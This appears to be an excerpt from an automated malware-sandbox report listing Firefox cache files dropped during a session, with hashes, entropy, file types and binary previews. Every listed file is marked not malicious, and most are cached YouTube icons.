SHA1:	4BA08A347F5B9DBBA8B18A4D56290724362679DF
SHA-256:	F2342879DD5E8B9F64EB57E873518EF1AD11982E10D3F66536011627E897AAB4
SHA-512:	BD593D2AAE2C10AA44F9C3DCCDA8FBA91BF30E9ED23CA7BB58B5720EFE4460BE19508B9AE8DA61F914350D2739EB1BAB20FD39469B7864F77800E9185FF93FD1
Malicious:	false
Reputation:	unknown
Preview:	...........Z.n.:.~.h...vD...o..\....d...M~...#.C..B....R...o-......$2WR..e.Fqv..\&o..%FAB0...-S.P.\...<.z .p..(a.7"N@X..?....z.!T,y...,...H.),.[..1..x.E.t...Z..K.H..Y.q]XH.........'..ez.u.l..ox.W...h...aC9.).).....nO. ...9....9.KH.......V.eG.j.S.......?..@VWZV.a.g.G.9..........E)b!...V..N..cKy....:a..+.K.O.H.u.....^_.t5.D.@;......f.by0.[.h..Om @....f.9...O.<x.S.o.....8Ge.....0...;...[LS..o...W...-..X...{..(..9..8....JC....wB..f..h....s.G......C...D...[.S..p~....U..NP..b.....!Z.t..(.K.e....G.Q...].7!..S.}/u.K...=.....~.z<.."....-..w....!..........f;..;.@F.RL..d...u1.i...'.;w#...y.`Pl8...S.FrL...TV..c\|Ri-\bTM.r..."..%.X.D...........KP....z{.E.Z.1.wH.L.........R.eQ..X......\K+..../....i.0..V....b.KCN..B.....!O...^.h...$x.K..W..$X.$.....r.......\|c.(.9..u...1.>..$.K.B..9.@.!.D1.D._..Q..}y.z.r.'$.(i.......:...jv.&. T...D'5...`t....0...u..A2..{....../i.v...M.....O..D...p.=..l.Mk.........I..^..<....Q aJ..).d...2.r.....HI].D................

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\D9F15402BBD463FDE6A9DC8902D8D500B79D13B1

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 889323520
Category:	dropped
Size (bytes):	9981
Entropy (8bit):	6.349205167987233
Encrypted:	false
SSDEEP:	192:B2ZkhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVBEjE9:BUzwHUL75Vf8eehqrufWWCt2BVBsy
MD5:	458D7CD9E26F01E02B587726F8F9D17E
SHA1:	288599BCF5117BBCAE7814DF7443B9615E7D31CF
SHA-256:	31832B4DF9B5BD36EA1D5220269FEAD9E4A466B5209A4D2B89AEAFC437BFD6C9
SHA-512:	EBDAD16B0C1EFD382C61CAB9D03845BEFDB533CC3B23382D3235AD508786CAC8180BA625E0151C81CF2F07089D6F6138FF07D1A69DE9E0BEB6571D7B42FFC410
Malicious:	false
Reputation:	unknown
Preview:	..........LT]S.0..+..kkI...<.3......P..#...Fv............>_..r.......+V.... ....q.....8...a.s~..{y:.....N..0...\|...........q./.>?]....y{.N..8...82..MD.`i.A\h.h;....~..{......<i..s.(.b...G.!..."~.B..hM......#.C.8T...YP..5:.....I.......jb%h.&...#\|.2_..}kY.^...p.~.W.............j.1r..'5..../L$...f.X.z.L3!....B.h.ZgB .4.....4^........d..H.W.A.}.e.WBJ[8o.i..S$W..l.X.v[.F.......M..9.o.]...8.O...&7...m.5....L.`#19.f.T!.%q...@.......l.j+1Q.y..a.p...rDB(.p2Jv...{'2.....4"+ALV0..Y.a6..uB..P.......-..5.s.#l%.. ....F..%Soyg.}.............j.[...n)...v........e.dqe.dqFv..g......j....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/gear/v6/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgN

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\DB57A1E6CFB60DF6776609026D9DD6895EDD7B4D

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	63263
Entropy (8bit):	7.8672733815321925
Encrypted:	false
SSDEEP:	1536:VCP8+T3G/vQf28zABUYtxlWSQUiXhZLHvRaBw2Xm:A8+TuvKTEfXixZLH4Bq
MD5:	0BB5EF42FD9EF118CCB79AC7D63ABD69
SHA1:	151205904531EABB150519FACBE331D8C3E8A8FA
SHA-256:	AFD0DF2A0FA181DFC06923B4DD1364BC714474E73ACE7F90CE4D39FECE759C52
SHA-512:	20B6D2309074AF8A1FE090E769DC57EEC204CE6669D4CD41496256E1502C528C997C31B83B6E5581C199254BD28F1493D25979A58BB9B7A388425E3EDC98E3BF
Malicious:	false
Reputation:	unknown
Preview:	........d!<.D.......T......H.F....1..p.?.t..U.!..P4...\|O a..m.......[..l:/.<...5..0.k..g..8."Yt.\N@FS.k.....?.7..faA.$.E..r..M.w.RY..e.. ...$.#.}...TDM/r..m......U'....t...4~.-A.4......J..w.0...s....b.ERP...M..y.z...n.?..^.z.H..\|O..a......6.?^i..>...x.u.T.kV.6m+5\|..i.-....ag....uK.x..MT.qe...gw9.....G.&F<@..!-0 .<h..L"...P...Z./M..k...S...P......a..YZ..=...gv$O...).S.9'..z...Z.a.$(.5B..........c\&...M,..A..n4..8...w.{{XU@..Ep-...&...{.>.....@..I.d7..q>2>V.V..g.rE.....L..HA(e.b..8...{v.Bo.[0b..$i?........P..z..7k..M.m..C...`D..C...%D..3[........K..'......nV-.0{?.;..H.....b.h..oH0..".F..<eC... ......../.7.$s.%..C....!.uQ..........@.!..h..V...a.}RnF..>.P.._.%.e9&?_O.2...!e........<..^p.......3d....hZ.....1.E\|NG..c.....Z..{.\|.."N..r>.dM!..%..TA8.d.?..0a..K.....\|K%.sf._o...0f...1.....s.c@.7.G.^Y..VT..9.0..e\.`T..y..<lb..1.......X#.t...6.c.9Y.]E.F....y..Aq_.g.I]......;..Gy$i%...&)....m9o.t........I.N$..D..x.{+....s..!.:#.]...Uo!.>eA....,..

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\DBCE8215847857378F42197451663619299D6FE3

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	8047
Entropy (8bit):	6.038355924983089
Encrypted:	false
SSDEEP:	192:/9JbV2GHyBXO49FgAfBKB2TWCDeBNbZovEpZj:FJxVHydO49aAfU2LkAc3
MD5:	D3F5D95F5FD34E82888CEE4C4C4CA3AB
SHA1:	0F0406EBE76FDBF6AF9C3AAD3F65C2C72B143224
SHA-256:	848A9CC4F4E5C33BA95CF80C7F29FA836B99486E2AD6F675DE3EB026075DC9F5
SHA-512:	708E64A4F5562FD29FD8F1CEAE0E28E55EEDFD4FA6C83353E24501FB94875F2B74046060F08E68237785285B364FF3ADDC6C6F47E8D48960AB979A8D6DFB85E2
Malicious:	false
Reputation:	unknown
Preview:	.a..........e.dKe.dLFv..e.dL...}....a,~1705534497,:https://incoming.telemetry.mozilla.org/submit/firefox-desktop/top-sites/1/d3698c60-da91-4f8c-b7c7-e14b40be8bb1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAX1MIIF8TCCA9mgAwIBAgIQAeBji5rfnEKbkKRu9rqqbTANBgkqhkiG9w0BAQsFADCBkjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xKjAoBgNVBAoMIVRoZSBVbml2ZXJzZSBTZWN1cml0eSBDb21wYW55IEx0ZDEqMCgGA1UEAwwhVGhlIFVuaXZlcnNlIFNlY3VyaXR5IENvbXBhbnkgTHRkMB4XDTI0MDExNjIzMzUzOVoXDTI1MDExNTIzMzUzOVowgYExCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMScwJQYDVQQDEx5pbmNvbWluZy50ZWxlbWV0cnkubW96aWxsYS5vcmcwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAwggEIAoIBAQC20hRkz2cHrAqiprMow8s6eCX1stiAWM6NPWKHjVWP+TEK2iMuiOXOoxHa5qYNLnKbU1JQ7HykK0FE3dj1Ww3MN3amatnVeuD6uL/POgKfmulXiUpC03FTxo+4wzgEBWvltyVWdC

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\DC990C2E9B8378070C100B26A893DB305F84C5FA

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PNG image data, 150 x 54, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11014
Entropy (8bit):	7.105037100006083
Encrypted:	false
SSDEEP:	192:c2/XQnPGroGD9vvnXVaUdgtgmVSdgtgmVV8jjt8+RZFPPNk1b7o1b7W:p/XQneroUYUW2mVSW2mV+tLzu
MD5:	0A2C97EAF531462D30398B9CE52E4C97
SHA1:	C588E791EA29B62A92D003DB360CC4A2C2F1D7B2
SHA-256:	AFAF971D958FB4EFA9AF002D4FB3D6FD04E78FB700D8FFAA4E6D7A2298769BE3
SHA-512:	A79C32C2C0E5BA27DCD510022A4D0360A01ADD79D1608378FADA2E23AAD0A31B545625BEC69D91D6EC675A0CE2AA1F8ECE33655A29E59F4E7AC8EA20B57DA6E0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......6.....%.`....)IDATx..].pT..>.l......b..(Hv7 D7.n.8....V..H_.R;S.hY`w.(...N_R."0`.-.A..\|.N..`....n..{.&..l.o..;.....a....d..$.................J.1......7+.c...o..T/.~V.r.....D..G.Ic.....E_.FUR.&..U%...X.4!!Q.H";......e(Ic...$..."1..jR[.L..../Ek.}AH...W.L.V....Y..S..q...!._r.D....G,%...Hu.$q..\.j.x...G.....]....B.i.I.+B.....Hu.....Q...K;...J.q..._......_.x....A:......j....:c...^.....k=GIj..Y]B.V..m...Y.\....$..!....+.R%..U/;p.....R4.g.R...XH.3%..JHHby.eqOZdnS..$.. ....dn...$.w....E.o.8...b@.z.)5.L4\|.F...9......pP.8.\|....-.M..:..ux...7.]...'..(q..~.....KQ.W..,b..L<.Y.].V+....t4.$.V.O.....D.5..v.j...Hd.M....z.......V..q.p.......;:.J.%2.G.;./.E...!.H. ..../Dk.8.T....+..%Vs4..DC.R.`..Z..........0.[)N!.....%.>&.b.$.M....P.!...!....'Kv..Nd...mvR.:.L....w..y%.i..H..u....s.Se1.[.)."..)%.I.....(.#M..4.@....#.....X..P<...k..g....O..I..>-...'._.Q..T.y.=Z.GR{]..&t}......>J..!,..X6.HC..$.:.}..z...._b.b.4.E.....;.Ha.?s.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\DEE5063A16B737F46BDC93E6648EFB462403DB0E

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 654376960
Category:	dropped
Size (bytes):	9713
Entropy (8bit):	6.228400349575395
Encrypted:	false
SSDEEP:	192:B00hhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEHES:a1zwHUL75Vf8eehqrufWWCt2BVlU9
MD5:	E2941232818B685F5F487FF58CAD3FC9
SHA1:	472867C297A2646343593C14D41F7393B1E95A4D
SHA-256:	863E662091DC4BD13C0D0002BDE84AA26CE3008F95DDFD1D2F8955425C90911D
SHA-512:	11E825DF4BBAC4E37DD306F8D580648853FAD0FC4452EA532A547F934B9173808C1D9E726987F356DDA75125F07130A9BC9351E6DB8DF66A2730D86A58ED934C
Malicious:	false
Reputation:	unknown
Preview:	...........Q.j.0...Ew.........{.......R..w.&.C.H.;.F ....m...faY...H)a.x....B..`.M........_._.fS.@.R.6.....,.x....V._z:...7..n.@..R.T...)#W.......U.....Ap..c.D..9.'.?...U..e.}.\...!....AE..&q.Bs..R...R..P.<x........h...`Q..g...@.UE~eFAWH......a.J..zJ...D..`....D80wVl...6..le8.......+..........e.dqe.dqFv..g.W....l....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/gaming/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKO

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\E210649FB7358F58475F6B3C24C6B61E88CBB00B

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3623878656
Category:	dropped
Size (bytes):	9632
Entropy (8bit):	6.185703048618413
Encrypted:	false
SSDEEP:	192:SWhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEHEC:SbzwHUL75Vf8eehqrufWWCt2BVlgh
MD5:	E94D7D98FF4B94F1BE61B285A776ACB1
SHA1:	DDEC5553AF6BDFD124804F46603DD5163818D7C2
SHA-256:	BBB9A4C39FEC38E2DA0907CBAF7DB6563354086F1A7FCC62BA11DC10A3B8C013
SHA-512:	97EF3F19BBA1F6BD7C4CA10D0F166E199BA0920E64DBDA31FFB9E597ED00E1E6886C88E5CA4BD5E433A2878ADBA39F4278D19428390D06610B741E82ED8D1A82
Malicious:	false
Reputation:	unknown
Preview:	..........M.;..0......k;Nr...hh.....xD.o....B;.~..HS.x..<-.RP../.SJ*9.>.m.1:'..Kw.zy.~~.....K...L>..P?..K..<..{}......cW.....A.D...e ?..:......8p..".....5..Q]..T..j...[O..YZ.uh..e....$O,-.>(.....}j..vw~.....`.:=..........e.due.duFv..g.X....j....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/news/v2/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\E2D67BD390C97D19A6C9926D36F8B5B06C21A6CC

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2650865664
Category:	dropped
Size (bytes):	9840
Entropy (8bit):	6.282137571682447
Encrypted:	false
SSDEEP:	192:OIhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVBEFEX:MzwHUL75Vf8eehqrufWWCt2BVB2g
MD5:	5980BC474543AABBB63A8EFE3C7285C5
SHA1:	21BD52F9E6EDE400D33A7416389D855C1E477662
SHA-256:	839229FD641D475B13E541DF0821BC27A9E5A9EC9E0EAFCFC6D6016ACB8FFF86
SHA-512:	99AE8403AC5465B1CA91868E049935BF4DB32D27F40F4FEE7CFD61F1842D8FB16D4B06686D4B2BF45B0125BE25324C6AF00A0492FD7808CAF88BCC36803FAA38
Malicious:	false
Reputation:	unknown
Preview:	..........T....0.D......h....s..Ev..H..&....b.S/.9..o(.=..\|.o.....\|~....u........'.\|\..~.2.r.X.~~.$I.............y.....XA.E+.....#..>c.. g5....IG....E.q....PC+R<X..NE...1$...:..#..HE]2Jgi(..9.....L..... s...2.<....a..l.6yp.yp......i..H.db.]I..{qEg...#m}..+ZhC..RC..M.....`E)...,V....0..p3vSDWx.ES.8)yP.!..`.b.."...>.A../a......t..@q ..Q...*.tx,...0..zG..3d.\|.bH.N...-..\y......._..............0..........e.due.dvFv..g.mO...t....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/youtube_shorts/v8/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMu

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\E3772A6FB2B31250BBE358041B6C98C04B74D5B2

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 453050368
Category:	dropped
Size (bytes):	9704
Entropy (8bit):	6.221341675223601
Encrypted:	false
SSDEEP:	192:UvhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEbEM:7zwHUL75Vf8eehqrufWWCt2BVlw7
MD5:	F0972E64E869B6568FDF44FBDC1F32C0
SHA1:	65676AED14A5DD967D3F8B3EE772A394B328F4CE
SHA-256:	A46CFA0E84DBC856A67982C6F5838A190106B9D54EBAFCB075A92A1D6A91E46B
SHA-512:	11371040A80A20574A7CB7769AE8BE1C0143F806B404DE6A413093B7D4EE767F4BAE8A9DF9162496912B9803E8E6A62DAF513DF8E28E94717B834415FD788444
Malicious:	false
Reputation:	unknown
Preview:	..........MP.n. ......L....a..k.m..jmR5Y...3.e2`?...`7..<o.qnT\..GQ..(.4=..h...P..........xn..'....R.....F.z...sz6.....%nt....."....G4dB.T:.Hu.F.....d7...V..V~..;.......9..<...u.4...e.3..8..;.....\......x..A.E._.!.z..`K..B.]d.....-V9f.....,.V*..m3......._.hw...?.c......O-..l.........e.due.duFv..g.#....o....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/lightbulb/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKH

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\E412E5721349F796D195A325D5695DA6DE808068

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 587598848
Category:	dropped
Size (bytes):	803801
Entropy (8bit):	7.997727322025556
Encrypted:	true
SSDEEP:	24576:DhGORCKDw0F+n1wAJYGSWzGGzyYxPj1uUP:4QDw0Y1nIWzDzyYhQUP
MD5:	AD2EA7559A48070812190B769A892BFA
SHA1:	38DCE94E03E091C78C2886E404CD2F080A8003F6
SHA-256:	41CA2309403648D2F4210057D341756AC9190CF056C10BD7BC17AD177448BBAE
SHA-512:	44A9909DB94C13773F4B566B2166937A805BDDC98BCC3457D9C04C6C12785B65EB63BBF3AC959C98F857A382D95814A38B7C42FCC370B95F5E3FE79749C2A414
Malicious:	false
Reputation:	unknown
Preview:	...........io.J....Bh..[._.k....].....}...'IJ.vQ.B5...........w......<......_.g>...U........_....D../.?..M.}p..{......_..2..1.....Wa..=./q.iF.V.f.K.:.._.2.nq..f..s..Z..h...e...U..._....../..od.1...0....../.?g^.s.2...D.4.<.h......:...>..3.0.].Y..'a@f..a...+..Lr.h.f.a\|>.3..(.G.eF..pL.L..9...Mq..>..\|>...0........,..E..._.U.........//A..S&.gl..-JV.K...s.G_KB&...K`(...F..w........C......ha..+...m..L..mwIB2g..J(..o.8s...'3.........9ZR...t......X..Sfq...y.~)......s.........n.......u.....}&w.._..\..!...9.Z........J.m..'-.2..)cc.D...s.}.i.9../.....Z..:....2.A...k.R1./. S....ImX.....{..,.)g..,...dJ.n.4.d:..L..m.JE2.v.9..L~4.;.L...K.....w[.....J.B.k..\|.Y..x.k.Y-w../....Za........J..].;.Z...+.V.=.5Skg.Li\j.3...l....7.V;}..)t..~.R.f..f...d.L......L...Zd.^....:.j...%..`fR-.y....0.u..I..........MwR...x...rR.wZ<e,.........4c...e....G...,f.%.YkW..Z....../._.=e....">.2.m...V...Rs..a.O[.....Y%...o..........v...l..7.....o;....~]==e~.d..L.O.x!?.c...

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\E4F97C21330F66B9CA5E2F70F052E141CB217EC8

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	19076
Entropy (8bit):	6.771820456213357
Encrypted:	false
SSDEEP:	384:NkQ4V0B4TZzKZHI1wS2djAud9tNtzL28eehqrufWWCt2BVNVoU:mVVFRgdjAudZNL28eehq4w2BVzoU
MD5:	12F2E70CC4DC2918445792259727DAB5
SHA1:	AAD0885ED08BE206CE6C4DBAA9FB1FB21DD72B97
SHA-256:	8D953DD7F9D828591DB97B59FAC596B7A7D6AB3B1470D1F091AB07EB2BCF8E91
SHA-512:	C1ED95C1679746E40BFBD478778AC26E3A7951A9C976F3D86AA603B9C23AA9F65C573ABDFD89CF38136C1D68CE8262E9116FAFC75CE35FAC6D753430C0F328E6
Malicious:	false
Reputation:	unknown
Preview:	.SH.....(.....p..........TWy.[d......\|6...mi.....z..t..r.!N.lCR..s....I;R.ojy.V:.a..4..{...g.{..kr..4.J+3...Z;Z.....QA....f..........U....7......Z.c...F....q.w.[.i..>^R.;..2.c>r<}.....5nS.Fj...N...=....H.T...N.tY..O!7....V............~..K.g.h............\|....Z.G.....h4.:.?..F......uk.,;.f{o...nO5.v.M......@r&7+.....3T.\|...NP......3.+sh.........f.9v0..2...$.a...MTu..9.W.Lv@pS.e...o..&...j......N..n.jb..L.......(...ar.{r..V...n..C.".....P2.m......U..bg..r..Xr..J.+.,$;H.F.!2t7...MP.00.iH@..8..x.7....8.+...y.jo.+..%0@5!C(.P.V.2..\|.'.(.B.`3..v..&.a^.F..w.."..(p....'l........&Ot.z...B2.).Ld.>Q..!a#.`f.$..Ya. !C.X.u]A"#.#Cq2..H1.Np.D.,..&..y...-...&..b#"..R..1...e.0..Cq#y.;H.8....(..r..t..M.w........c....%.Z......f..i..(T.H....nT&pc...LD$f..Y.=..v.t..cEaj..f..&...K.....<..(W..J.0P{.. $'.F3......(.b..8C....X..K...%p.@....B`....-g.b....c@.x.;.2W2..I.......fgT..........H....r..`.A.>..G..'r...pEqu..@.4.d.........(c.....Z..'kU.Z]..HV.*...q...?R.;..Sm.../i...

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\E6E5D227E10FEF3E6FAE12310B27EC9C77E7D389

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3892314112
Category:	dropped
Size (bytes):	9650
Entropy (8bit):	6.191421165987106
Encrypted:	false
SSDEEP:	192:5OwhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEbEq:5OZzwHUL75Vf8eehqrufWWCt2BVlc5
MD5:	8CB1FB043178AEE8A4D3EAF7ADADF926
SHA1:	D98ADC4B52603B77EEC66FECE49F5A1226410260
SHA-256:	E6C598FC9D3AF9517F139937EE542C5BC3DA2B8B62C3F197CE41F4322A33870A
SHA-512:	979CCE79165571F1F918D4018E6AC826AED1DA6445E1C3B1813AA5A7ED4D62A322CAFD06A1C21E2B4E03B262995113C253BCC370659F733998A136D88BFCA0B3
Malicious:	false
Reputation:	unknown
Preview:	..........M.M.. ...b...@;J.h.s.4E!.4..L.z...fdx\|..F.^_....6"m..K..V-.AW..M7...NQ^..gx....s.`(..-.).C.....c>/.F.......nK@#.Q.....S..........Q...7.R..Z.8V..8(....{.......rGII...`QA..\|...=..FzY).......6....>B.5.O..p.t&G...p..{.........e.due.dvFv..g......l....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/search/v7/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBg

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\EA86BF7019DD8098795FFCEA42753555A3DB9D39

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 4009754624
Category:	dropped
Size (bytes):	9658
Entropy (8bit):	6.200526508855892
Encrypted:	false
SSDEEP:	192:EfhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEkEX:EczwHUL75Vf8eehqrufWWCt2BVlfE
MD5:	B4861E5E7560193D3E3D7F9516D7A1C4
SHA1:	302321AE24730661B56703D7E3F8A8CA626C3EAA
SHA-256:	4B1C3203DFFD48DB3803F8F715D320AC2C1294FF86510B14747F30709E7791E7
SHA-512:	3AE4BBD1380D0174C2A819EA00E0BC6A2B43DE5FE47F3D216C5C3D41B60172800CECC3FF1108AEE0C04432C64806499C061F3149E60E978FFDDF4F7A08C01A6B
Malicious:	false
Reputation:	unknown
